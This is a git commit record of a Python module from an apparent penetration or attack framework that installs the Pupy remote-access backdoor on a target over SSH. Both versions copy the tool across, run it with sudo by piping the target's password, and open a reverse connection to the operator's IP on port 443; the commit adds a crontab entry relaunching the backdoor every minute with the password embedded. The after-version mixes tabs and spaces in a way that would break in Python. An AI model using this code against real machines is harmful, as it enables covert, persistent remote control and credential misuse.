<commit_before>from module import *
import os
import cmd
from colorama import *
from definitions import *

class Pupy(Module):
    prompt = Fore.RED + "(pupy) " + Fore.BLUE + ">> " + Fore.RESET 
    
    def __init__(self, target, core):
        cmd.Cmd.__init__(self)
        self.intro = GOOD + "Using Pupy module"
        self.target = target
        self.core = core
        self.options = {
                "port"   : Option("port", 53923, "port to connect to", True),
                }
    
    def check_valid(self):
        return True
    
    def get_value(self, name):
        if name in self.options:
            return self.options[name].value
        else:
            return None

        
    def do_exploit(self, args):
        port = self.get_value("port")
        
        self.target.ssh.exec_command('rm -r pupy')
        self.target.scpFiles(self, 'pupy', True)
        self.target.scpFiles(self, '/usr/local/lib/python2.7/dist-packages/rpyc', True)
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S mv -f rpyc /usr/local/lib/python2.7/dist-packages")
        raw_input("Please navigate to the pupy/pupy directory and run 'python pupysh.py'. Press enter when you are ready.")
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S python pupy/client/reverse_ssl.py " + self.core.localIP + ":443")
        raw_input(GOOD + "Backdoor attempted on target machine. To run a command, type sessions -i [id] and then 'exec <commandname>.")


<commit_msg>added support for crontab pupy and reenabled pupy backdoor.<commit_after>from module import *
import os
import cmd
from colorama import *
from definitions import *

class Pupy(Module):
    prompt = Fore.RED + "(pupy) " + Fore.BLUE + ">> " + Fore.RESET 
    
    def __init__(self, target, core):
        cmd.Cmd.__init__(self)
        self.intro = GOOD + "Using Pupy module"
        self.target = target
        self.core = core
        self.options = {
                "port"   : Option("port", 53923, "port to connect to", True),
                }
    
    def check_valid(self):
        return True
    
    def get_value(self, name):
        if name in self.options:
            return self.options[name].value
        else:
            return None

        
    def do_exploit(self, args):
        port = self.get_value("port")
        
	cron = (raw_input(" + Press y to start backdoor as a cronjob (recommended): ") == 'y')


        self.target.ssh.exec_command('rm -r pupy')
        self.target.scpFiles(self, 'pupy', True)
        self.target.scpFiles(self, 'rpyc', True)
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S mv -f rpyc /usr/local/lib/python2.7/dist-packages")
        raw_input("Please navigate to the pupy/pupy directory and run 'python pupysh.py'. Press enter when you are ready.")
        
	if(cron):
            self.target.ssh.exec_command("crontab -l > mycron")
            str = ("* * * * * echo \\\""+ self.target.pword + "\\\" | sudo -S python pupy/pupy/pp.py simple --host" + self.core.localIP + ":443" )
            #print ("echo \"" + str + "\" >> mycron && crontab mycron && rm mycron")
            self.target.ssh.exec_command("echo \"" + str + "\" >> mycron && crontab mycron && rm mycron")
        #do it in either case to start the backdoor.


	self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S python pupy/pupy/pp.py simple --host " + self.core.localIP + ":443")
        
	raw_input(GOOD + "Backdoor attempted on target machine. To run a command, type sessions -i [id] and then 'exec <commandname>.")



{'fraction_non_alphanumeric': 0.13219026548672566, 'fraction_numerical': 0.006913716814159292, 'mean_word_length': 2.2673893405600722, 'pattern_counts': {'":': 3, '<': 5, '<?xml version=': 0, '>': 14, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1279860', 'n_tokens_mistral': 1208, 'n_tokens_neox': 1149, 'n_words': 307}